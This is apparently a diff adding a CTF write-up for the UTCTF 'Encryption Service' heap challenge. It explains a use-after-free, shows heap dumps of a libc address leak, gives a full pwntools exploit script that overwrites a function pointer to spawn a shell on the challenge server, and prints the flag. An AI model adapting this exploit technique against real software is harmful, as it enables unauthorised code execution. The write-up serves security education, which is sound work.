|
| 1 | +# UTCTF |
| 2 | + |
| 3 | +## Encryption Service |
| 4 | + |
| 5 | +## Information |
| 6 | + |
| 7 | +**Category** | **Points** | **Solves** | **Writeup Author** |
| 8 | +--- | --- | --- | --- |
| 9 | +PWN | 1200 | 11 | [merrychap](https://github.com/merrychap) |
| 10 | + |
| 11 | +**Description:** |
| 12 | + |
| 13 | +> nc stack.overflow.fail 9004 |
| 14 | +
|
| 15 | +**Files:** |
| 16 | + |
| 17 | +[pwnable](./pwnable) |
| 18 | + |
| 19 | +[libc](./libc-2.23.so) |
| 20 | + |
| 21 | +## General information |
| 22 | + |
| 23 | +<p align="center"> |
| 24 | + <img src="screens/desc.png"> |
| 25 | +</p> |
| 26 | + |
| 27 | +Very charming description, the legend is unbelievable. But who needs normal description, when there is a binary? :D |
| 28 | + |
| 29 | +Alright, let's run it and see what this thing does... |
| 30 | + |
| 31 | +<p align="center"> |
| 32 | + <img src="screens/start_service.png"> |
| 33 | +</p> |
| 34 | + |
| 35 | +Some kind of an encryption service where we can create messages, encrypt them and produce some other actions. We need to explore the functionality a little bit deeper. I will cover each function with a screenshot and some comments. But of course, you can explore it on your own by reversing the binary or just opening [pseudocode](./pseudocode.c) that I have done for you! :) |
| 36 | + |
| 37 | +## Reversing the binary |
| 38 | + |
| 39 | +### main |
| 40 | + |
| 41 | +<p align="center"> |
| 42 | + <img src="screens/main.png"> |
| 43 | +</p> |
| 44 | + |
| 45 | +Everything is straightforward: we're asked for some `user_id` (which will be used later in `xor_encrypt`), then we enter while-true loop where can produce actions. Absolutely clear. |
| 46 | + |
| 47 | +### encrypt_string |
| 48 | + |
| 49 | +<p align="center"> |
| 50 | + <img src="screens/encrypt_string.png"> |
| 51 | +</p> |
| 52 | + |
| 53 | +In the beginning, we're asked to enter an encryption option: either OTP or XOR. I will not cover their functionality, you can check it in the [pseudocode](./pseudocode.c). After this, the program searches for a free `info` chunk inside of `create_info` function, if it wasn't found, then it calls `malloc` in order to create a new chunk for storing info about this entity. The structure looks as follows: |
| 54 | + |
| 55 | +```c |
| 56 | +struct info_t { |
| 57 | + char *msg_ptr; /* pointer to the message chunk */ |
| 58 | + char *enc_msg; /* pointer to the encrypted message chunk */ |
| 59 | + const char (*encrypt_func)(char * msg, char *key); /* pointer to the encryption function */ |
| 60 | + int (*print_func)(void); /* pointer to the print function */ |
| 61 | + int is_free; /* is this chunk available to reuse */ |
| 62 | + int msg_len; /* length of the message */ |
| 63 | +}; |
| 64 | +``` |
| 65 | + |
| 66 | +Now, we need to notice one interesting case. If the program calls `malloc` for new info structure and we enter incorrect encryption option (neither 1 nor 2), then it returns from the function. But chunk is allocated. We will use it later, so keep this in mind. |
| 67 | + |
| 68 | +When encryption option is chosen, we need to enter message size and the message itself, then program calls encryption function and encrypts entered message. |
| 69 | + |
| 70 | +### remove_encrypted_string |
| 71 | + |
| 72 | +<p align="center"> |
| 73 | + <img src="screens/remove_encrypted_string.png"> |
| 74 | +</p> |
| 75 | + |
| 76 | +Just enter an index of the message to remove and it's removed, i.e. `is_free` flag is set and `msg_ptr` and `enc_msg` are freed. But the program doesn't clear fields of the structure itself. It can be useful. |
| 77 | + |
| 78 | +### view_messages |
| 79 | + |
| 80 | +<p align="center"> |
| 81 | + <img src="screens/view_messages.png"> |
| 82 | +</p> |
| 83 | + |
| 84 | +Iterates through messages, checks if this `info` structure is presented in the information array, then checks if this info struct isn't free, i.e. is taken for some message and prints the data. Okay, looks legit. |
| 85 | + |
| 86 | +### edit_encrypted_message |
| 87 | + |
| 88 | +<p align="center"> |
| 89 | + <img src="screens/edit_encrypted_message.png"> |
| 90 | +</p> |
| 91 | + |
| 92 | +We're asked to enter the index of the message we want to edit, then it takes the corresponding info structure and checks if this struct is valid. And this place is where the main vuln is presented. The program doesn't check `is_free` flag, so we can edit already freed `info` struct. Hence, this task is about UAF vulnerability |
| 93 | + |
| 94 | + |
| 95 | +## Leak a libc address |
| 96 | + |
| 97 | +Let's call `encrypt_message` with message size equal to 0x100. This will create 3 chunks on a heap: |
| 98 | + |
| 99 | +- the first chunk is `info` structure |
| 100 | + |
| 101 | +- the second chunk is the message (size is 0x110) |
| 102 | + |
| 103 | +- the third chunk is the encrypted message (size is 0x110) |
| 104 | + |
| 105 | +After this, we need to create another one message, here we don't care about sizes. Heap layout is the following: |
| 106 | + |
| 107 | +``` |
| 108 | +0x7fc1b98ce000: 0x0000000000000000 0x0000000000000031 <-- 1 info struct |
| 109 | +0x7fc1b98ce010: 0x00007fc1b98ce040 0x00007fc1b98ce150 |
| 110 | +0x7fc1b98ce020: 0x000000000040093c 0x0000000000400887 |
| 111 | +0x7fc1b98ce030: 0x0000010100000000 0x0000000000000111 <-- msg_ptr of the 1 info struct |
| 112 | +0x7fc1b98ce040: 0x0000000a41414141 0x0000000000000000 |
| 113 | +0x7fc1b98ce050: 0x0000000000000000 0x0000000000000000 |
| 114 | +0x7fc1b98ce060: 0x0000000000000000 0x0000000000000000 |
| 115 | +0x7fc1b98ce070: 0x0000000000000000 0x0000000000000000 |
| 116 | +0x7fc1b98ce080: 0x0000000000000000 0x0000000000000000 |
| 117 | +0x7fc1b98ce090: 0x0000000000000000 0x0000000000000000 |
| 118 | +0x7fc1b98ce0a0: 0x0000000000000000 0x0000000000000000 |
| 119 | +0x7fc1b98ce0b0: 0x0000000000000000 0x0000000000000000 |
| 120 | +0x7fc1b98ce0c0: 0x0000000000000000 0x0000000000000000 |
| 121 | +0x7fc1b98ce0d0: 0x0000000000000000 0x0000000000000000 |
| 122 | +0x7fc1b98ce0e0: 0x0000000000000000 0x0000000000000000 |
| 123 | +0x7fc1b98ce0f0: 0x0000000000000000 0x0000000000000000 |
| 124 | +0x7fc1b98ce100: 0x0000000000000000 0x0000000000000000 |
| 125 | +0x7fc1b98ce110: 0x0000000000000000 0x0000000000000000 |
| 126 | +0x7fc1b98ce120: 0x0000000000000000 0x0000000000000000 |
| 127 | +0x7fc1b98ce130: 0x0000000000000000 0x0000000000000000 |
| 128 | +0x7fc1b98ce140: 0x0000000000000000 0x0000000000000111 <-- enc_msg of the 1 info struct |
| 129 | +0x7fc1b98ce150: 0x0000000000000000 0x0000000000000000 |
| 130 | +0x7fc1b98ce160: 0x0000000000000000 0x0000000000000000 |
| 131 | +0x7fc1b98ce170: 0x0000000000000000 0x0000000000000000 |
| 132 | +0x7fc1b98ce180: 0x0000000000000000 0x0000000000000000 |
| 133 | +0x7fc1b98ce190: 0x0000000000000000 0x0000000000000000 |
| 134 | +0x7fc1b98ce1a0: 0x0000000000000000 0x0000000000000000 |
| 135 | +0x7fc1b98ce1b0: 0x0000000000000000 0x0000000000000000 |
| 136 | +0x7fc1b98ce1c0: 0x0000000000000000 0x0000000000000000 |
| 137 | +0x7fc1b98ce1d0: 0x0000000000000000 0x0000000000000000 |
| 138 | +0x7fc1b98ce1e0: 0x0000000000000000 0x0000000000000000 |
| 139 | +0x7fc1b98ce1f0: 0x0000000000000000 0x0000000000000000 |
| 140 | +0x7fc1b98ce200: 0x0000000000000000 0x0000000000000000 |
| 141 | +0x7fc1b98ce210: 0x0000000000000000 0x0000000000000000 |
| 142 | +0x7fc1b98ce220: 0x0000000000000000 0x0000000000000000 |
| 143 | +0x7fc1b98ce230: 0x0000000000000000 0x0000000000000000 |
| 144 | +0x7fc1b98ce240: 0x0000000000000000 0x0000000000000000 |
| 145 | +0x7fc1b98ce250: 0x0000000000000000 0x0000000000000031 <-- 2 info struct |
| 146 | +0x7fc1b98ce260: 0x00007fc1b98ce290 0x00007fc1b98ce300 |
| 147 | +0x7fc1b98ce270: 0x000000000040093c 0x0000000000400887 |
| 148 | +``` |
| 149 | + |
| 150 | + |
| 151 | +And then let's free the first `info` struct. Its `msg_ptr` and `enc_msg` will be placed in the unsorted bin and they will be coalesced. So, heap layout will be like this: |
| 152 | + |
| 153 | +``` |
| 154 | +0x7fc1b98ce000: 0x0000000000000000 0x0000000000000031 <-- 1 info struct |
| 155 | +0x7fc1b98ce010: 0x00007fc1b98ce040 0x00007fc1b98ce150 |
| 156 | +0x7fc1b98ce020: 0x000000000040093c 0x0000000000400887 |
| 157 | +0x7fc1b98ce030: 0x0000010100000001 0x0000000000000221 <-- coalesced msg_ptr and enc_msg |
| 158 | +0x7fc1b98ce040: 0x00007fc1b9430b78 0x00007fc1b9430b78 |
| 159 | +0x7fc1b98ce050: 0x0000000000000000 0x0000000000000000 |
| 160 | +0x7fc1b98ce060: 0x0000000000000000 0x0000000000000000 |
| 161 | +0x7fc1b98ce070: 0x0000000000000000 0x0000000000000000 |
| 162 | +0x7fc1b98ce080: 0x0000000000000000 0x0000000000000000 |
| 163 | +0x7fc1b98ce090: 0x0000000000000000 0x0000000000000000 |
| 164 | +0x7fc1b98ce0a0: 0x0000000000000000 0x0000000000000000 |
| 165 | +0x7fc1b98ce0b0: 0x0000000000000000 0x0000000000000000 |
| 166 | +0x7fc1b98ce0c0: 0x0000000000000000 0x0000000000000000 |
| 167 | +0x7fc1b98ce0d0: 0x0000000000000000 0x0000000000000000 |
| 168 | +0x7fc1b98ce0e0: 0x0000000000000000 0x0000000000000000 |
| 169 | +0x7fc1b98ce0f0: 0x0000000000000000 0x0000000000000000 |
| 170 | +0x7fc1b98ce100: 0x0000000000000000 0x0000000000000000 |
| 171 | +0x7fc1b98ce110: 0x0000000000000000 0x0000000000000000 |
| 172 | +0x7fc1b98ce120: 0x0000000000000000 0x0000000000000000 |
| 173 | +0x7fc1b98ce130: 0x0000000000000000 0x0000000000000000 |
| 174 | +0x7fc1b98ce140: 0x0000000000000110 0x0000000000000110 |
| 175 | +0x7fc1b98ce150: 0x0000000000000000 0x0000000000000000 |
| 176 | +0x7fc1b98ce160: 0x0000000000000000 0x0000000000000000 |
| 177 | +0x7fc1b98ce170: 0x0000000000000000 0x0000000000000000 |
| 178 | +0x7fc1b98ce180: 0x0000000000000000 0x0000000000000000 |
| 179 | +0x7fc1b98ce190: 0x0000000000000000 0x0000000000000000 |
| 180 | +0x7fc1b98ce1a0: 0x0000000000000000 0x0000000000000000 |
| 181 | +0x7fc1b98ce1b0: 0x0000000000000000 0x0000000000000000 |
| 182 | +0x7fc1b98ce1c0: 0x0000000000000000 0x0000000000000000 |
| 183 | +0x7fc1b98ce1d0: 0x0000000000000000 0x0000000000000000 |
| 184 | +0x7fc1b98ce1e0: 0x0000000000000000 0x0000000000000000 |
| 185 | +0x7fc1b98ce1f0: 0x0000000000000000 0x0000000000000000 |
| 186 | +0x7fc1b98ce200: 0x0000000000000000 0x0000000000000000 |
| 187 | +0x7fc1b98ce210: 0x0000000000000000 0x0000000000000000 |
| 188 | +0x7fc1b98ce220: 0x0000000000000000 0x0000000000000000 |
| 189 | +0x7fc1b98ce230: 0x0000000000000000 0x0000000000000000 |
| 190 | +0x7fc1b98ce240: 0x0000000000000000 0x0000000000000000 |
| 191 | +0x7fc1b98ce250: 0x0000000000000220 0x0000000000000030 <-- 2 info struct |
| 192 | +0x7fc1b98ce260: 0x00007fc1b98ce290 0x00007fc1b98ce300 |
| 193 | +0x7fc1b98ce270: 0x000000000040093c 0x0000000000400887 |
| 194 | +``` |
| 195 | + |
| 196 | +`fd` and `bk` of an unsorted bin chunk point to someplace in main arena which is part of libc. If we leak these addresses, then we leak libc address itself (offsets are static). But what's more interesting, if we tear unsorted bin chunk in order to serve `malloc` using this unsorted bin chunk, main arena addresses will be placed in the newly allocated chunk in `fd` and `bk`. So, if we allocate a new message with size equal to 0, then we leak libc address. Look at the heap layout after calling `encrypt_message` with message size equal to 0. |
| 197 | + |
| 198 | +``` |
| 199 | +0x7fc1b98ce000: 0x0000000000000000 0x0000000000000031 <-- 1 info struct |
| 200 | +0x7fc1b98ce010: 0x00007fc1b98ce040 0x00007fc1b98ce060 |
| 201 | +0x7fc1b98ce020: 0x000000000040093c 0x0000000000400887 |
| 202 | +0x7fc1b98ce030: 0x0000000100000000 0x0000000000000021 <-- new msg_ptr of the 1 info struct |
| 203 | +0x7fc1b98ce040: 0x00007fc1b9430d00 0x00007fc1b9430d88 |
| 204 | +0x7fc1b98ce050: 0x0000000000000000 0x0000000000000021 <-- new enc_msg of the 1 info struct |
| 205 | +0x7fc1b98ce060: 0x00000fb1c9337d70 0x00007fc1b9430b78 |
| 206 | +0x7fc1b98ce070: 0x0000000000000000 0x00000000000001e1 <-- remaining of the unsorted bin chunk |
| 207 | +0x7fc1b98ce080: 0x00007fc1b9430b78 0x00007fc1b9430b78 |
| 208 | +0x7fc1b98ce090: 0x0000000000000000 0x0000000000000000 |
| 209 | +0x7fc1b98ce0a0: 0x0000000000000000 0x0000000000000000 |
| 210 | +0x7fc1b98ce0b0: 0x0000000000000000 0x0000000000000000 |
| 211 | +0x7fc1b98ce0c0: 0x0000000000000000 0x0000000000000000 |
| 212 | +0x7fc1b98ce0d0: 0x0000000000000000 0x0000000000000000 |
| 213 | +0x7fc1b98ce0e0: 0x0000000000000000 0x0000000000000000 |
| 214 | +0x7fc1b98ce0f0: 0x0000000000000000 0x0000000000000000 |
| 215 | +0x7fc1b98ce100: 0x0000000000000000 0x0000000000000000 |
| 216 | +0x7fc1b98ce110: 0x0000000000000000 0x0000000000000000 |
| 217 | +0x7fc1b98ce120: 0x0000000000000000 0x0000000000000000 |
| 218 | +0x7fc1b98ce130: 0x0000000000000000 0x0000000000000000 |
| 219 | +0x7fc1b98ce140: 0x0000000000000110 0x0000000000000110 |
| 220 | +0x7fc1b98ce150: 0x0000000000000000 0x0000000000000000 |
| 221 | +0x7fc1b98ce160: 0x0000000000000000 0x0000000000000000 |
| 222 | +0x7fc1b98ce170: 0x0000000000000000 0x0000000000000000 |
| 223 | +0x7fc1b98ce180: 0x0000000000000000 0x0000000000000000 |
| 224 | +0x7fc1b98ce190: 0x0000000000000000 0x0000000000000000 |
| 225 | +0x7fc1b98ce1a0: 0x0000000000000000 0x0000000000000000 |
| 226 | +0x7fc1b98ce1b0: 0x0000000000000000 0x0000000000000000 |
| 227 | +0x7fc1b98ce1c0: 0x0000000000000000 0x0000000000000000 |
| 228 | +0x7fc1b98ce1d0: 0x0000000000000000 0x0000000000000000 |
| 229 | +0x7fc1b98ce1e0: 0x0000000000000000 0x0000000000000000 |
| 230 | +0x7fc1b98ce1f0: 0x0000000000000000 0x0000000000000000 |
| 231 | +0x7fc1b98ce200: 0x0000000000000000 0x0000000000000000 |
| 232 | +0x7fc1b98ce210: 0x0000000000000000 0x0000000000000000 |
| 233 | +0x7fc1b98ce220: 0x0000000000000000 0x0000000000000000 |
| 234 | +0x7fc1b98ce230: 0x0000000000000000 0x0000000000000000 |
| 235 | +0x7fc1b98ce240: 0x0000000000000000 0x0000000000000000 |
| 236 | +0x7fc1b98ce250: 0x00000000000001e0 0x0000000000000030 <-- 2 info struct |
| 237 | +0x7fc1b98ce260: 0x00007fc1b98ce290 0x00007fc1b98ce300 |
| 238 | +0x7fc1b98ce270: 0x000000000040093c 0x0000000000400887 |
| 239 | +``` |
| 240 | + |
| 241 | +Now we can call `view_messages` and leak libc address. Okay, this is nice, now we need to think about the exploitation knowing the libc address. |
| 242 | + |
| 243 | +## Getting the shell |
| 244 | + |
| 245 | +After we get the base address of libc, then we want to call `system("/bin/sh")`, but how we can do this? Well, this is simple. Do you remember we have UAF vulnerability? Now we will use this :) |
| 246 | + |
| 247 | +Let's call `encrypt_message` with the message size equal to 0x20. It will create `msg_ptr` and `enc_msg` chunks with size equals 0x30. And this is the size of `info` struct chunk. Now we will produce interesting actions: |
| 248 | + |
| 249 | +- Remove this message calling `remove_encrypted_string`. Now we have two empty 0x30 chunks. |
| 250 | + |
| 251 | +- Create a new chunk with any message size. `info` struct chunk now in the `enc_msg` chunk that was freed in the previous step. |
| 252 | + |
| 253 | +- Now we will edit previous `info` struct chunk and this will change the new `info` chunk because this is `enc_msg` of the previous one. |
| 254 | + |
| 255 | +Almost done, right? :D Just change `encrypt_function` with the address of `system` and `msg_ptr` with `/bin/sh` address. Then call `edit_encrypted_message` and it will spawn the shell! |
| 256 | + |
| 257 | +### Exploit |
| 258 | + |
| 259 | +[The final exploit](./exploit.py) I came up with is the next: |
| 260 | + |
| 261 | +```python |
| 262 | +from pwn import * |
| 263 | + |
| 264 | + |
| 265 | +def bxor(s, b): |
| 266 | + res = '' |
| 267 | + for x in s: |
| 268 | + res += chr(ord(x) ^ b) |
| 269 | + return res |
| 270 | + |
| 271 | + |
| 272 | +def sxor(a, b): |
| 273 | + res = '' |
| 274 | + for x, y in zip(a, b): |
| 275 | + res += chr(ord(x) ^ ord(y)) |
| 276 | + return res |
| 277 | + |
| 278 | + |
| 279 | +def encrypt(pc, option, size, msg): |
| 280 | + pc.sendlineafter('>', '1') |
| 281 | + pc.sendlineafter('Choose an encryption option:', str(option)) |
| 282 | + if option not in [1, 2]: |
| 283 | + return |
| 284 | + pc.sendlineafter('How long is your message?', str(size)) |
| 285 | + if size == 0: |
| 286 | + return |
| 287 | + pc.sendlineafter('Please enter your message: ', msg) |
| 288 | + |
| 289 | + |
| 290 | +def remove(pc, index): |
| 291 | + pc.sendlineafter('>', '2') |
| 292 | + pc.sendlineafter('Enter the index of the message that you want to remove: ', str(index)) |
| 293 | + |
| 294 | + |
| 295 | +def view(pc): |
| 296 | + pc.sendlineafter('>', '3') |
| 297 | + |
| 298 | + |
| 299 | +def edit(pc, index, new_msg): |
| 300 | + pc.sendlineafter('>', '4') |
| 301 | + pc.sendlineafter('Enter the index of the message that you wish to edit', str(index)) |
| 302 | + pc.sendlineafter('Enter the new message', new_msg) |
| 303 | + |
| 304 | + |
| 305 | +def main(): |
| 306 | + libc = ELF('./libc-2.23.so') |
| 307 | + |
| 308 | + pc = remote('stack.overflow.fail', 9004) |
| 309 | + |
| 310 | + pc.sendlineafter('What is your user id?', str(0x70)) |
| 311 | + |
| 312 | + encrypt(pc, 2, 0x100, 'AAAA') |
| 313 | + encrypt(pc, 2, 0x60, 'BBBB') |
| 314 | + |
| 315 | + remove(pc, 0) |
| 316 | + |
| 317 | + # putting libc addresses into msg_ptr |
| 318 | + encrypt(pc, 2, 0, '') |
| 319 | + |
| 320 | + view(pc) |
| 321 | + for _ in range(11): |
| 322 | + pc.recvline() |
| 323 | + main_arena = u64(bxor(pc.recvline()[12:-1], 0x70).ljust(8, '\x00')) |
| 324 | + libc_base = main_arena - 0x3c4d00 |
| 325 | + binsh = libc_base + next(libc.search('/bin/sh')) |
| 326 | + system = libc_base + libc.symbols['system'] |
| 327 | + log.success('libc base @ ' + hex(libc_base)) |
| 328 | + |
| 329 | + encrypt(pc, 2, 0x20, 'A' * 0x20) |
| 330 | + remove(pc, 2) |
| 331 | + |
| 332 | + # filling up other info structs which will |
| 333 | + # be allocated tearing the unsorted bin chunk |
| 334 | + encrypt(pc, 3, 0, '') |
| 335 | + encrypt(pc, 3, 0, '') |
| 336 | + encrypt(pc, 3, 0, '') |
| 337 | + |
| 338 | + # write desired info into 4th chunk |
| 339 | + edit(pc, 2, p64(binsh) + p64(0) + p64(system) + p64(0)) |
| 340 | + |
| 341 | + # trigger system("/bin/sh") |
| 342 | + edit(pc, 4, '') |
| 343 | + |
| 344 | + pc.interactive() |
| 345 | + |
| 346 | + |
| 347 | +if __name__ == '__main__': |
| 348 | + main() |
| 349 | +``` |
| 350 | + |
| 351 | +This was a typical heap challenge and I would say this is a medium-level task, but still interesting, thanks admins! |
| 352 | + |
| 353 | +> Flag: utflag{pat1lw1llyw0nkalikesc0de} |
0 commit comments